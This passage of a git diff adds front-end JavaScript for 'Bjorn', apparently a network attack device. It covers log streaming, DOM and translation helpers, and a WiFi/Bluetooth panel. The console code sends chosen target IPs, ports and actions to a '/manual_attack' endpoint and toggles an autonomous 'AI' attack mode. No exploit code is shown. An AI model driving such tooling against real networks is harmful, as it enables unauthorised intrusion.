elConsole.appendChild(elScrollBtn); + elConsole.appendChild(elBufferBadge); + } +} + +function updateFloatingUI() { + if (!elScrollBtn || !elBufferBadge) return; + + if (!autoScroll && !isAtBottom()) { + elScrollBtn.classList.remove('hidden'); + } else { + elScrollBtn.classList.add('hidden'); + } + + updateBufferBadge(); +} + +function updateBufferBadge() { + if (!elBufferBadge) return; + if (lineBuffer.length > 0) { + elBufferBadge.textContent = String(lineBuffer.length); + elBufferBadge.classList.remove('hidden'); + } else { + elBufferBadge.classList.add('hidden'); + } +} + +/* ------------------------------------------------------------------ */ +/* SSE connection */ +/* ------------------------------------------------------------------ */ + +function connectSSE() { + if (evtSource) return; + + evtSource = new EventSource('/stream_logs'); + + evtSource.onmessage = (evt) => { + reconnectCount = 0; // healthy connection resets counter + + const raw = evt.data; + if (!raw) return; + + // Detect Mode Change Logs (Server -> Client Push) + // Log format: "... - Operation mode switched to: AI" + if (raw.includes('Operation mode switched to:')) { + const parts = raw.split('Operation mode switched to:'); + if (parts.length > 1) { + const newMode = parts[1].trim().split(' ')[0]; // Take first word just in case + setModeUI(newMode); + } + } + + // --- NEW: AI Dashboard Real-time Events --- + if (raw.includes('[AI_EXEC]')) { + try { + const json = raw.split('[AI_EXEC]')[1].trim(); + const data = JSON.parse(json); + window.dispatchEvent(new CustomEvent('bjorn:ai_exec', { detail: data })); + } catch (e) { console.warn('[ConsoleSSE] Failed to parse AI_EXEC:', e); } + } + if (raw.includes('[AI_DONE]')) { + try { + const json = raw.split('[AI_DONE]')[1].trim(); + const data = JSON.parse(json); + window.dispatchEvent(new CustomEvent('bjorn:ai_done', { detail: data })); + } catch (e) { console.warn('[ConsoleSSE] Failed to parse AI_DONE:', e); } + } + + const html = processLogLine(raw); + if (isUserScrolling && !autoScroll) { + lineBuffer.push(html); + updateBufferBadge(); + } else { + appendLogHtml(html); + } + }; + + evtSource.onerror = () => { + disconnectSSE(); + scheduleReconnect(); + }; +} + +function disconnectSSE() { + if (evtSource) { + evtSource.close(); + evtSource = null; + } +} + +function scheduleReconnect() { + if (reconnectTimer) return; + if (reconnectCount >= MAX_RECONNECT) { + toast(t('console.maxReconnect'), 4000, 'warning'); + return; + } + + reconnectCount++; + reconnectTimer = setTimeout(() => { + reconnectTimer = null; + // Only reconnect if console is still open + if (elConsole && elConsole.classList.contains('open')) { + connectSSE(); + } + }, RECONNECT_DELAY_MS); +} + +/* ------------------------------------------------------------------ */ +/* Font size */ +/* ------------------------------------------------------------------ */ + +/** + * Set the console font size in pixels. Clamped to the range input's + * min/max bounds. Persisted to localStorage. + * @param {number|string} px + */ +export function setFont(px) { + if (!elConsole || !elFontInput) return; + + const min = Number(elFontInput.min) || 2; + const max = Number(elFontInput.max) || 24; + let val = Math.round(Number(px)); + if (Number.isNaN(val)) val = defaultFontPx(); + val = Math.max(min, Math.min(max, val)); + + elConsole.style.setProperty('--console-font', `${val}px`); + elFontInput.value = val; + paintRangeTrack(elFontInput); + + try { + localStorage.setItem(LS_FONT_KEY, String(val)); + } catch { /* storage full / blocked */ } +} + +/** Load saved font size or apply sensible default. */ +function loadFont() { + let saved = null; + try { + saved = localStorage.getItem(LS_FONT_KEY); + } catch { /* blocked */ } + + const px = saved !== null ? Number(saved) : defaultFontPx(); + setFont(px); +} + +/* ------------------------------------------------------------------ */ +/* Console resize (drag) */ +/* ------------------------------------------------------------------ */ + +function onResizeStart(e) { + e.preventDefault(); + resizeDragging = true; + resizeStartY = e.type.startsWith('touch') ? e.touches[0].clientY : e.clientY; + resizeStartH = elConsole ? elConsole.offsetHeight : 0; + + document.addEventListener('mousemove', onResizeMove); + document.addEventListener('mouseup', onResizeEnd); + document.addEventListener('touchmove', onResizeMove, { passive: false }); + document.addEventListener('touchend', onResizeEnd); +} + +function onResizeMove(e) { + if (!resizeDragging || !elConsole) return; + e.preventDefault(); + + const clientY = e.type.startsWith('touch') ? e.touches[0].clientY : e.clientY; + const delta = resizeStartY - clientY; // drag up = larger + const newH = Math.max(80, resizeStartH + delta); // floor at 80px + elConsole.style.height = `${newH}px`; + if (isDocked) syncDockSpace(); +} + +function onResizeEnd() { + resizeDragging = false; + document.removeEventListener('mousemove', onResizeMove); + document.removeEventListener('mouseup', onResizeEnd); + document.removeEventListener('touchmove', onResizeMove); + document.removeEventListener('touchend', onResizeEnd); + if (isDocked) syncDockSpace(); +} + +/* ------------------------------------------------------------------ */ +/* Mode / Attack toggles */ +/* ------------------------------------------------------------------ */ + + +/** + * Set the Mode UI based on the mode string: 'MANUAL', 'AUTO', or 'AI'. + * @param {string} mode + */ +function setModeUI(mode) { + if (!elModePill || !elModeToggle) return; + + // Normalize + mode = String(mode || 'AUTO').toUpperCase().trim(); + if (mode === 'TRUE') mode = 'MANUAL'; // Legacy fallback + if (mode === 'FALSE') mode = 'AUTO'; // Legacy fallback + + // Default to AUTO if unrecognized + if (!['MANUAL', 'AUTO', 'AI'].includes(mode)) { + mode = 'AUTO'; + } + + const isManual = mode === 'MANUAL'; + const isAi = mode === 'AI'; + + // Pill classes + elModePill.classList.remove('manual', 'auto', 'ai'); + if (isManual) { + elModePill.classList.add('manual'); + } else if (isAi) { + elModePill.classList.add('ai'); + } else { + elModePill.classList.add('auto'); + } + + // Pill Text + let pillText = t('console.auto'); + if (isManual) pillText = t('console.manual'); + if (isAi) pillText = 'AI Mode'; + + elModePill.innerHTML = ` ${pillText}`; + + // Toggle Button Text (Show what NEXT click does) + // Cycle: MANUAL -> AUTO -> AI -> MANUAL + if (isManual) { + elModeToggle.textContent = 'Enable Auto'; + } else if (isAi) { + elModeToggle.textContent = 'Stop (Manual)'; // AI -> Manual is safer "Stop" + } else { + // Auto + elModeToggle.textContent = 'Enable AI'; + } + + elModeToggle.setAttribute('aria-pressed', String(isManual)); + showAttackForMode(isManual); +} + +function showAttackForMode(isManual) { + const attackBar = $('#attackBar'); + if (!elConsole || !attackBar) return; + const visible = !!isManual && window.innerWidth > 700; + elConsole.classList.toggle('with-attack', visible); + attackBar.style.display = visible ? 'flex' : 'none'; + if (elAttackToggle) elAttackToggle.setAttribute('aria-expanded', String(visible)); +} + + +async function refreshModeFromServer() { + try { + // Returns "MANUAL", "AUTO", or "AI" string (text/plain) + // We must await .text() if the api wrapper returns the fetch response, + // but the 'api' helper usually returns parsed JSON or text based on content-type. + // Let's assume api.get returns the direct body. + // We'll treat it as string and trim it. + let mode = await api.get('/check_manual_mode', { timeout: 5000, retries: 0 }); + + if (typeof mode === 'string') { + mode = mode.trim().replace(/^"|"$/g, ''); // Remove quotes if JSON encoded + } + + setModeUI(mode); + } catch (e) { + // Keep UI as-is + } +} + + +async function loadManualTargets() { + if (!elSelIp || !elSelPort || !elSelAction) return; + try { + const data = await api.get('/netkb_data_json', { timeout: 10000, retries: 0 }); + const ips = Array.isArray(data?.ips) ? data.ips : []; + const actions = Array.isArray(data?.actions) ? data.actions : []; + const portsByIp = data?.ports && typeof data.ports === 'object' ? data.ports : {}; + + const currentIp = elSelIp.value; + const currentAction = elSelAction.value; + + elSelIp.innerHTML = ''; + if (!ips.length) { + const op = document.createElement('option'); + op.value = ''; + op.textContent = t('console.noTarget'); + elSelIp.appendChild(op); + } else { + for (const ip of ips) { + const op = document.createElement('option'); + op.value = String(ip); + op.textContent = String(ip); + elSelIp.appendChild(op); + } + if (currentIp && ips.includes(currentIp)) elSelIp.value = currentIp; + } + + elSelAction.innerHTML = ''; + if (!actions.length) { + const op = document.createElement('option'); + op.value = ''; + op.textContent = t('console.noAction'); + elSelAction.appendChild(op); + } else { + for (const action of actions) { + const op = document.createElement('option'); + op.value = String(action); + op.textContent = String(action); + elSelAction.appendChild(op); + } + if (currentAction && actions.includes(currentAction)) elSelAction.value = currentAction; + } + + updatePortsForSelectedIp(portsByIp); + } catch { + // Keep existing options if loading fails. + } +} + +function updatePortsForSelectedIp(cachedPortsByIp = null) { + if (!elSelIp || !elSelPort) return; + const render = (ports) => { + elSelPort.innerHTML = ''; + const list = Array.isArray(ports) ? ports : []; + if (!list.length) { + const op = document.createElement('option'); + op.value = ''; + op.textContent = t('console.auto'); + elSelPort.appendChild(op); + return; + } + for (const p of list) { + const op = document.createElement('option'); + op.value = String(p); + op.textContent = String(p); + elSelPort.appendChild(op); + } + }; + + if (cachedPortsByIp && typeof cachedPortsByIp === 'object') { + render(cachedPortsByIp[elSelIp.value]); + return; + } + + api.get('/netkb_data_json', { timeout: 10000, retries: 0 }) + .then((data) => render(data?.ports?.[elSelIp.value])) + .catch(() => render([])); +} + +async function runManualScan() { + if (!elBtnScan) return; + elBtnScan.classList.add('scanning'); + try { + await api.post('/manual_scan'); + toast(t('console.scanStarted'), 1600, 'success'); + } catch { + toast(t('console.scanFailed'), 2500, 'error'); + } finally { + setTimeout(() => elBtnScan?.classList.remove('scanning'), 800); + } +} + +async function runManualAttack() { + if (!elBtnAttack) return; + elBtnAttack.classList.add('attacking'); + try { + await api.post('/manual_attack', { + ip: elSelIp?.value || '', + port: elSelPort?.value || '', + action: elSelAction?.value || '', + }); + toast(t('console.attackStarted'), 1600, 'success'); + } catch { + toast(t('console.attackFailed'), 2500, 'error'); + } finally { + setTimeout(() => elBtnAttack?.classList.remove('attacking'), 900); + } +} + +async function toggleMode() { + if (!elModePill) return; + + // Determine current mode from class + let current = 'AUTO'; + if (elModePill.classList.contains('manual')) current = 'MANUAL'; + if (elModePill.classList.contains('ai')) current = 'AI'; + + // Cycle: MANUAL -> AUTO -> AI -> MANUAL + let next = 'AUTO'; + if (current === 'MANUAL') next = 'AUTO'; + else if (current === 'AUTO') next = 'AI'; + else if (current === 'AI') next = 'MANUAL'; + + try { + // Use the new centralized config endpoint + const res = await api.post('/api/rl/config', { mode: next }); + if (res && res.status === 'ok') { + setModeUI(res.mode); + toast(`Mode: ${res.mode}`, 2000, 'success'); + } else { + toast('Failed to change mode', 3000, 'error'); + } + } catch (e) { + console.error(e); + toast(t('console.failedToggleMode'), 3000, 'error'); + } +} + +async function toggleModeQuick() { + if (!elModePill) return; + + // Quick toggle intended for the pill: + // AI <-> AUTO (MANUAL -> AUTO). + let current = 'AUTO'; + if (elModePill.classList.contains('manual')) current = 'MANUAL'; + if (elModePill.classList.contains('ai')) current = 'AI'; + + let next = 'AUTO'; + if (current === 'AI') next = 'AUTO'; + else if (current === 'AUTO') next = 'AI'; + else if (current === 'MANUAL') next = 'AUTO'; + + try { + const res = await api.post('/api/rl/config', { mode: next }); + if (res && res.status === 'ok') { + setModeUI(res.mode); + toast(`Mode: ${res.mode}`, 2000, 'success'); + } else { + toast('Failed to change mode', 3000, 'error'); + } + } catch (e) { + console.error(e); + toast(t('console.failedToggleMode'), 3000, 'error'); + } +} + +function toggleAttackBar() { + const attackBar = $('#attackBar'); + if (!elConsole || !attackBar) return; + const on = !elConsole.classList.contains('with-attack'); + elConsole.classList.toggle('with-attack', on); + attackBar.style.display = on ? 'flex' : 'none'; + if (elAttackToggle) elAttackToggle.setAttribute('aria-expanded', String(on)); +} + +/* ------------------------------------------------------------------ */ +/* Console open / close */ +/* ------------------------------------------------------------------ */ + +/** + * Open the console panel and start the SSE stream. + */ +export function openConsole() { + if (!elConsole) return; + elConsole.classList.add('open'); + reconnectCount = 0; + start(); + syncDockSpace(); +} + +/** + * Close the console panel and stop the SSE stream. + */ +export function closeConsole() { + if (!elConsole) return; + elConsole.classList.remove('open'); + stop(); + syncDockSpace(); +} + +/** + * Toggle the console between open and closed states. + */ +export function toggleConsole() { + if (!elConsole) return; + if (elConsole.classList.contains('open')) { + closeConsole(); + } else { + openConsole(); + } +} + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +/** + * Start the SSE log stream (idempotent). + */ +export function start() { + connectSSE(); +} + +/** + * Stop the SSE log stream and clear reconnect state. + */ +export function stop() { + disconnectSSE(); + if (reconnectTimer) { + clearTimeout(reconnectTimer); + reconnectTimer = null; + } + reconnectCount = 0; +} + +/** + * Toggle the SSE stream on/off. + */ +export function toggle() { + if (evtSource) { + stop(); + } else { + start(); + } +} + +/** + * Force the console to scroll to the bottom, flushing any buffered + * lines and re-enabling auto-scroll. + */ +export function forceBottom() { + autoScroll = true; + isUserScrolling = false; + flushBuffer(); + scrollToBottom(); + updateFloatingUI(); +} + +/* ------------------------------------------------------------------ */ +/* Initialisation */ +/* ------------------------------------------------------------------ */ + +/** + * Initialise the console SSE module. + * Wires up all event listeners, loads persisted state, and checks + * whether the console should auto-start. + */ +export function init() { + /* Cache DOM references */ + elConsole = $('#console'); + elLogout = $('#logout'); + elFontInput = $('#consoleFont'); + elModePill = $('#modePill'); + elModeToggle = $('#modeToggle'); + elAttackToggle = $('#attackToggle'); + elSelIp = $('#selIP'); + elSelPort = $('#selPort'); + elSelAction = $('#selAction'); + elBtnScan = $('#btnScan'); + elBtnAttack = $('#btnAttack'); + + if (!elConsole || !elLogout) { + console.warn('[ConsoleSSE] Required DOM elements not found — aborting init.'); + return; + } + + /* Floating UI (scroll-to-bottom btn, buffer badge) */ + ensureFloatingUI(); + isDocked = readDockPref(); + ensureDockButton(); + syncDockSpace(); + + /* -- Font size --------------------------------------------------- */ + loadFont(); + if (elFontInput) { + elFontInput.addEventListener('input', () => setFont(elFontInput.value)); + } + + /* -- Close / Clear ----------------------------------------------- */ + const btnClose = $('#closeConsole'); + if (btnClose) btnClose.addEventListener('click', closeConsole); + + const btnClear = $('#clearLogs'); + if (btnClear) { + btnClear.addEventListener('click', () => { + if (elLogout) { + while (elLogout.firstChild) elLogout.removeChild(elLogout.firstChild); + } + lineBuffer = []; + updateBufferBadge(); + }); + } + + /* -- Old behavior: click bottombar to toggle console ------------- */ + const bottomBar = $('#bottombar'); + if (bottomBar) { + bottomBar.addEventListener('click', (e) => { + const target = e.target; + if (!(target instanceof Element)) return; + // Avoid hijacking liveview interactions. + if (target.closest('#bjorncharacter') || target.closest('.bjorn-dropdown')) return; + toggleConsole(); + }); + } + + /* -- Mode toggle ------------------------------------------------- */ + if (elModeToggle) { + elModeToggle.addEventListener('click', toggleMode); + } + if (elModePill) { + elModePill.addEventListener('click', (e) => { + // Prevent bubbling to bottom bar toggle (if nested) + e.preventDefault(); + e.stopPropagation(); + toggleModeQuick(); + }); + } + + /* -- Attack bar toggle ------------------------------------------- */ + if (elAttackToggle) { + elAttackToggle.addEventListener('click', toggleAttackBar); + } + + if (elSelIp) { + elSelIp.addEventListener('change', () => updatePortsForSelectedIp()); + } + if (elBtnScan) { + elBtnScan.addEventListener('click', (e) => { + e.preventDefault(); + runManualScan(); + }); + } + if (elBtnAttack) { + elBtnAttack.addEventListener('click', (e) => { + e.preventDefault(); + runManualAttack(); + }); + } + + /* -- Scroll tracking --------------------------------------------- */ + elLogout.addEventListener('scroll', onLogScroll); + + /* -- Console resize ---------------------------------------------- */ + const elResize = $('#consoleResize'); + if (elResize) { + elResize.addEventListener('mousedown', onResizeStart); + elResize.addEventListener('touchstart', onResizeStart, { passive: false }); + } + + /* -- Keyboard shortcut: Ctrl + ` to toggle console --------------- */ + document.addEventListener('keydown', (e) => { + if (e.ctrlKey && e.key === '`') { + e.preventDefault(); + toggleConsole(); + } + }); + + /* -- Autostart check --------------------------------------------- */ + loadManualTargets(); + refreshModeFromServer(); + window.addEventListener('resize', () => refreshModeFromServer()); + + // BroadcastChannel for instant Tab-to-Tab sync + const bc = new BroadcastChannel('bjorn_mode_sync'); + bc.onmessage = (ev) => { + if (ev.data && ev.data.mode) { + setModeUI(ev.data.mode); + } + }; + + checkAutostart(); +} + +/** + * Query the server to determine if the console should auto-start. + */ +async function checkAutostart() { + // Keep console closed by default when the web UI loads. + // It can still be opened manually by the user. + closeConsole(); +} diff --git a/web/js/core/dom.js b/web/js/core/dom.js new file mode 100644 index 0000000..38eed81 --- /dev/null +++ b/web/js/core/dom.js @@ -0,0 +1,97 @@ +/** + * Safe DOM utilities — avoids innerHTML with untrusted content. + */ +import { trLoose } from './i18n.js'; + +/** + * Create an element with attributes and children (safe, no innerHTML). + * @param {string} tag + * @param {object} attrs - className, style, data-*, event handlers (onclick, etc.) + * @param {Array} children - strings or HTMLElements + * @returns {HTMLElement} + */ +export function el(tag, attrs = {}, children = []) { + const node = document.createElement(tag); + for (const [k, v] of Object.entries(attrs)) { + if (v == null || v === false) continue; + if (k === 'class' || k === 'className') node.className = v; + else if (k === 'style' && typeof v === 'string') node.style.cssText = v; + else if (k === 'style' && typeof v === 'object') Object.assign(node.style, v); + else if (k.startsWith('on') && typeof v === 'function') { + node.addEventListener(k.slice(2).toLowerCase(), v); + } + else node.setAttribute(k, String(v)); + } + for (const child of (Array.isArray(children) ? children : [children])) { + if (child == null || child === false) continue; + if (typeof child === 'string' || typeof child === 'number') { + node.appendChild(document.createTextNode(String(child))); + } else if (child instanceof Node) { + node.appendChild(child); + } + } + return node; +} + +/** + * Shorthand selectors. + */ +export const $ = (s, root = document) => root.querySelector(s); +export const $$ = (s, root = document) => Array.from(root.querySelectorAll(s)); + +/** + * Escape HTML entities to prevent XSS when rendering untrusted text. + * @param {string} str + * @returns {string} + */ +export function escapeHtml(str) { + const div = document.createElement('div'); + div.appendChild(document.createTextNode(str)); + return div.innerHTML; +} + +/** + * Set text content safely (never innerHTML with untrusted data). + * @param {HTMLElement} el + * @param {string} text + */ +export function setText(el, text) { + if (el) el.textContent = text; +} + +/** + * Show a toast notification. + * @param {string} message - plain text (safe) + * @param {number} duration - ms + * @param {string} type - 'info' | 'success' | 'error' | 'warning' + */ +export function toast(message, duration = 2600, type = 'info') { + const container = document.getElementById('toasts'); + if (!container) return; + + const t = el('div', { class: `toast toast-${type}` }, [trLoose(String(message))]); + container.appendChild(t); + + setTimeout(() => { + t.style.transition = 'transform .2s ease, opacity .2s'; + t.style.transform = 'translateY(10px)'; + t.style.opacity = '0'; + setTimeout(() => t.remove(), 220); + }, duration); +} + +/** + * Empty a container safely. + * @param {HTMLElement} container + */ +export function empty(container) { + while (container.firstChild) container.removeChild(container.firstChild); +} + +export function confirmT(message) { + return window.confirm(trLoose(String(message))); +} + +export function promptT(message, defaultValue = '') { + return window.prompt(trLoose(String(message)), defaultValue); +} diff --git a/web/js/core/i18n.js b/web/js/core/i18n.js new file mode 100644 index 0000000..30cc398 --- /dev/null +++ b/web/js/core/i18n.js @@ -0,0 +1,270 @@ +/** + * i18n module — loads JSON translation files, provides t() helper, + * supports dynamic re-render via data-i18n attributes. + * + * Key convention: page.section.element + * e.g. "nav.dashboard", "console.title", "settings.theme.colorPrimary" + * + * Fallback: missing key in current lang -> EN -> dev warning. + */ + +const SUPPORTED = ['en', 'fr', 'es', 'de', 'it', 'ru', 'zh']; +const STORAGE_KEY = 'bjorn_lang'; +const CACHE = {}; // { lang: { key: string } } + +let _currentLang = 'en'; +let _fallback = {}; // EN always loaded as fallback +let _reverseFallback = null; // { "English text": "some.key" } + +/** Load a language JSON file */ +async function loadLang(lang) { + if (CACHE[lang]) return CACHE[lang]; + try { + const res = await fetch(`/web/i18n/${lang}.json`); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + CACHE[lang] = await res.json(); + return CACHE[lang]; + } catch (err) { + console.warn(`[i18n] Failed to load ${lang}:`, err.message); + return {}; + } +} + +/** + * Resolve a dotted key from a flat or nested object. + * Supports flat keys ("nav.dashboard") and nested ({ nav: { dashboard: "..." } }). + */ +function resolve(dict, key) { + // Try flat key first + if (key in dict) return dict[key]; + // Try nested + const parts = key.split('.'); + let node = dict; + for (const p of parts) { + if (node == null || typeof node !== 'object') return undefined; + node = node[p]; + } + return typeof node === 'string' ? node : undefined; +} + +function flattenStrings(dict, out = {}, prefix = '') { + if (!dict || typeof dict !== 'object') return out; + for (const [k, v] of Object.entries(dict)) { + const key = prefix ? `${prefix}.${k}` : k; + if (typeof v === 'string') out[key] = v; + else if (v && typeof v === 'object') flattenStrings(v, out, key); + } + return out; +} + +function buildReverseFallback() { + const flat = flattenStrings(_fallback); + const rev = {}; + for (const [k, v] of Object.entries(flat)) { + if (!v || typeof v !== 'string') continue; + if (!(v in rev)) rev[v] = k; + } + _reverseFallback = rev; +} + +function translateLooseText(value) { + const text = String(value ?? ''); + const trimmed = text.trim(); + if (!trimmed) return text; + if (!_reverseFallback) buildReverseFallback(); + const key = _reverseFallback?.[trimmed]; + if (!key) return text; + const translated = t(key); + if (!translated || translated === key) return text; + const start = text.indexOf(trimmed); + if (start < 0) return translated; + return text.slice(0, start) + translated + text.slice(start + trimmed.length); +} + +export function trLoose(value) { + return translateLooseText(value); +} + +/** + * Translate a key with optional variable interpolation. + * Variables use {{name}} syntax: t('greeting', { name: 'Bjorn' }) + * @param {string} key + * @param {object} vars + * @returns {string} + */ +export function t(key, vars = {}) { + const dict = CACHE[_currentLang] || {}; + let str = resolve(dict, key); + + // Fallback to EN + if (str === undefined) { + str = resolve(_fallback, key); + if (str === undefined) { + console.warn(`[i18n] Missing key: "${key}" (lang=${_currentLang})`); + return key; // Return key itself as last resort + } + } + + // Interpolate {{var}} + if (vars && typeof str === 'string') { + str = str.replace(/\{\{(\w+)\}\}/g, (_, name) => { + return vars[name] !== undefined ? String(vars[name]) : `{{${name}}}`; + }); + } + + return str; +} + +/** + * Get current language code. + */ +export function currentLang() { + return _currentLang; +} + +/** + * Get list of supported languages. + */ +export function supportedLangs() { + return [...SUPPORTED]; +} + +/** + * Initialize i18n: load saved language or detect from browser. + */ +export async function init() { + // Load EN fallback first + _fallback = await loadLang('en'); + CACHE['en'] = _fallback; + buildReverseFallback(); + + // Detect preferred language + const saved = localStorage.getItem(STORAGE_KEY); + const browser = (navigator.language || '').slice(0, 2).toLowerCase(); + const lang = saved || (SUPPORTED.includes(browser) ? browser : 'en'); + + await setLang(lang); +} + +/** + * Switch language, reload translations, update DOM. + * @param {string} lang + */ +export async function setLang(lang) { + if (!SUPPORTED.includes(lang)) { + console.warn(`[i18n] Unsupported language: ${lang}, falling back to en`); + lang = 'en'; + } + + _currentLang = lang; + localStorage.setItem(STORAGE_KEY, lang); + + if (!CACHE[lang]) { + await loadLang(lang); + } + + // Update all [data-i18n] elements in the DOM + updateDOM(); + window.dispatchEvent(new CustomEvent('i18n:changed', { detail: { lang } })); +} + +/** + * Update all DOM elements with data-i18n attribute. + * Minimal re-render: only touches elements that need text updates. + */ +export function updateDOM(root = document) { + const els = root.querySelectorAll('[data-i18n]'); + for (const el of els) { + const key = el.getAttribute('data-i18n'); + const translated = t(key); + if (el.textContent !== translated) { + el.textContent = translated; + } + } + + // Also handle [data-i18n-placeholder], [data-i18n-title], [data-i18n-aria-label] + for (const attr of ['placeholder', 'title', 'aria-label']) { + const dataAttr = `data-i18n-${attr}`; + const els2 = root.querySelectorAll(`[${dataAttr}]`); + for (const el of els2) { + const key = el.getAttribute(dataAttr); + const translated = t(key); + if (el.getAttribute(attr) !== translated) { + el.setAttribute(attr, translated); + } + } + } + + // Fallback auto-translation for still-hardcoded EN labels. + const skipSel = [ + '[data-no-i18n]', + 'script', + 'style', + 'pre', + 'code', + 'textarea', + 'input', + 'select', + 'option', + '#logout', + '.console-body', + '.attacks-log', + '.paneLog', + '.console-output', + '.editor-textarea', + ].join(','); + + const walker = document.createTreeWalker(root, NodeFilter.SHOW_TEXT, { + acceptNode(node) { + if (!node?.nodeValue || !node.nodeValue.trim()) return NodeFilter.FILTER_REJECT; + const parent = node.parentElement; + if (!parent) return NodeFilter.FILTER_REJECT; + if (parent.closest(skipSel)) return NodeFilter.FILTER_REJECT; + if (parent.hasAttribute('data-i18n')) return NodeFilter.FILTER_REJECT; + return NodeFilter.FILTER_ACCEPT; + } + }); + + const textNodes = []; + while (walker.nextNode()) textNodes.push(walker.currentNode); + for (const node of textNodes) { + const next = translateLooseText(node.nodeValue); + if (next !== node.nodeValue) node.nodeValue = next; + } + + for (const attr of ['placeholder', 'title', 'aria-label']) { + const els3 = root.querySelectorAll(`[${attr}]`); + for (const el of els3) { + if (el.hasAttribute(`data-i18n-${attr}`)) continue; + const current = el.getAttribute(attr); + const next = translateLooseText(current); + if (next !== current) el.setAttribute(attr, next); + } + } +} + +/** + * Build a language selector UI and mount it into a container. + * @param {HTMLElement} container + */ +export function mountLangSelector(container) { + const LANG_LABELS = { + en: 'EN', fr: 'FR', es: 'ES', de: 'DE', it: 'IT', ru: 'RU', zh: 'ZH' + }; + + const select = document.createElement('select'); + select.className = 'lang-selector'; + select.setAttribute('aria-label', t('settings.language')); + + for (const code of SUPPORTED) { + const opt = document.createElement('option'); + opt.value = code; + opt.textContent = LANG_LABELS[code] || code.toUpperCase(); + if (code === _currentLang) opt.selected = true; + select.appendChild(opt); + } + + select.addEventListener('change', () => setLang(select.value)); + container.innerHTML = ''; + container.appendChild(select); +} diff --git a/web/js/core/quickpanel.js b/web/js/core/quickpanel.js new file mode 100644 index 0000000..0e05584 --- /dev/null +++ b/web/js/core/quickpanel.js @@ -0,0 +1,686 @@ +/** + * QuickPanel — WiFi & Bluetooth management panel. + * + * Replicates the monolithic global.js QuickPanel as a standalone ES module. + * Slide-down panel with two tabs (WiFi / Bluetooth), scan controls, + * auto-scan toggles, known-network management, and Bluetooth pairing. + */ + +import { $, $$, el, toast, empty } from './dom.js'; +import { api } from './api.js'; +import { t } from './i18n.js'; + +/* ---------- API endpoints ---------- */ + +const API = { + scanWifi: '/scan_wifi', + getKnownWifi: '/get_known_wifi', + connectKnown: '/connect_known_wifi', + connectWifi: '/connect_wifi', + updatePriority: '/update_wifi_priority', + deleteKnown: '/delete_known_wifi', + importPotfiles: '/import_potfiles', + scanBluetooth: '/scan_bluetooth', + pairBluetooth: '/pair_bluetooth', + trustBluetooth: '/trust_bluetooth', + connectBluetooth: '/connect_bluetooth', + disconnectBluetooth: '/disconnect_bluetooth', + forgetBluetooth: '/forget_bluetooth', +}; + +/* ---------- Constants ---------- */ + +const AUTOSCAN_INTERVAL = 15_000; // 15 s +const LS_WIFI_AUTO = 'qp_wifi_auto'; +const LS_BT_AUTO = 'qp_bt_auto'; + +/* ---------- Module state ---------- */ + +let panel; // #quickpanel element +let wifiList; // container for wifi scan results +let knownList; // container for known networks +let btList; // container for bluetooth results +let wifiTab; // wifi tab content wrapper +let btTab; // bluetooth tab content wrapper +let tabBtns; // [wifiTabBtn, btTabBtn] +let wifiAutoTimer = null; +let btAutoTimer = null; +let activeTab = 'wifi'; +let scanning = { wifi: false, bt: false }; + +/* ================================================================= + Helpers + ================================================================= */ + +/** Persist and read auto-scan preference. */ +function getAutoScan(key) { + try { return localStorage.getItem(key) === '1'; } catch { return false; } +} +function setAutoScan(key, on) { + try { localStorage.setItem(key, on ? '1' : '0'); } catch { /* storage full */ } +} + +/** Signal strength to bar count (1-4). */ +function signalBars(dbm) { + if (dbm > -50) return 4; + if (dbm > -65) return 3; + if (dbm > -75) return 2; + return 1; +} + +/** Build a `` with four bar elements. */ +function sigEl(dbm) { + const count = signalBars(dbm); + const bars = []; + for (let i = 1; i <= 4; i++) { + const bar = el('i'); + bar.style.height = `${4 + i * 3}px`; + if (i <= count) bar.className = 'on'; + bars.push(bar); + } + return el('span', { class: 'sig' }, bars); +} + +/** Security type to badge class suffix. */ +function secClass(sec) { + if (!sec) return 'sec-open'; + const s = sec.toUpperCase(); + if (s.includes('WPA')) return 'sec-wpa'; + if (s.includes('WEP')) return 'sec-wep'; + if (s === 'OPEN' || s === '' || s === 'NONE') return 'sec-open'; + return 'sec-wpa'; // default to wpa for unknown secured types +} + +/** Security badge element. */ +function secBadge(sec) { + const label = sec || 'Open'; + return el('span', { class: `badge ${secClass(sec)}` }, [label]); +} + +/** State dot element (paired / connected indicator). */ +function stateDot(on) { + return el('span', { class: `state-dot ${on ? 'state-on' : 'state-off'}` }); +} + +/** Create a small auto-scan toggle with a switch. */ +function autoScanToggle(key, onChange) { + const isOn = getAutoScan(key); + const sw = el('span', { class: `switch${isOn ? ' on' : ''}`, role: 'switch', 'aria-checked': String(isOn), tabindex: '0' }); + const label = el('span', { style: 'font-size:12px;color:var(--muted);user-select:none' }, [t('quick.autoScan')]); + const wrap = el('label', { style: 'display:inline-flex;align-items:center;gap:8px;cursor:pointer' }, [label, sw]); + + function toggle() { + const next = !sw.classList.contains('on'); + sw.classList.toggle('on', next); + sw.setAttribute('aria-checked', String(next)); + setAutoScan(key, next); + onChange(next); + } + + sw.addEventListener('click', toggle); + sw.addEventListener('keydown', (e) => { + if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); toggle(); } + }); + + return { wrap, isOn }; +} + +/* ================================================================= + System Dialog (WiFi password prompt) + ================================================================= */ + +function openSysDialog(title, fields, onSubmit) { + const backdrop = $('#sysDialogBackdrop'); + if (!backdrop) return; + empty(backdrop); + + const modal = el('div', { class: 'modal', role: 'dialog', 'aria-modal': 'true', style: 'padding:20px;max-width:400px;width:90vw;border-radius:16px;background:var(--grad-quickpanel,#0a1116);border:1px solid var(--c-border-strong)' }); + + const heading = el('h3', { style: 'margin:0 0 16px;color:var(--ink)' }, [title]); + modal.appendChild(heading); + + const form = el('form', { style: 'display:flex;flex-direction:column;gap:12px' }); + + const inputs = {}; + for (const f of fields) { + const input = el('input', { + class: 'input', + type: f.type || 'text', + placeholder: f.placeholder || '', + autocomplete: f.autocomplete || 'off', + style: 'width:100%;padding:10px 12px;border-radius:8px;border:1px solid var(--c-border-strong);background:var(--c-panel);color:var(--ink);font-size:14px', + }); + if (f.value) input.value = f.value; + if (f.readonly) input.readOnly = true; + inputs[f.name] = input; + + const label = el('label', { style: 'display:flex;flex-direction:column;gap:4px' }, [ + el('span', { style: 'font-size:12px;color:var(--muted)' }, [f.label]), + input, + ]); + form.appendChild(label); + } + + const btnRow = el('div', { style: 'display:flex;gap:8px;justify-content:flex-end;margin-top:8px' }); + const cancelBtn = el('button', { class: 'btn', type: 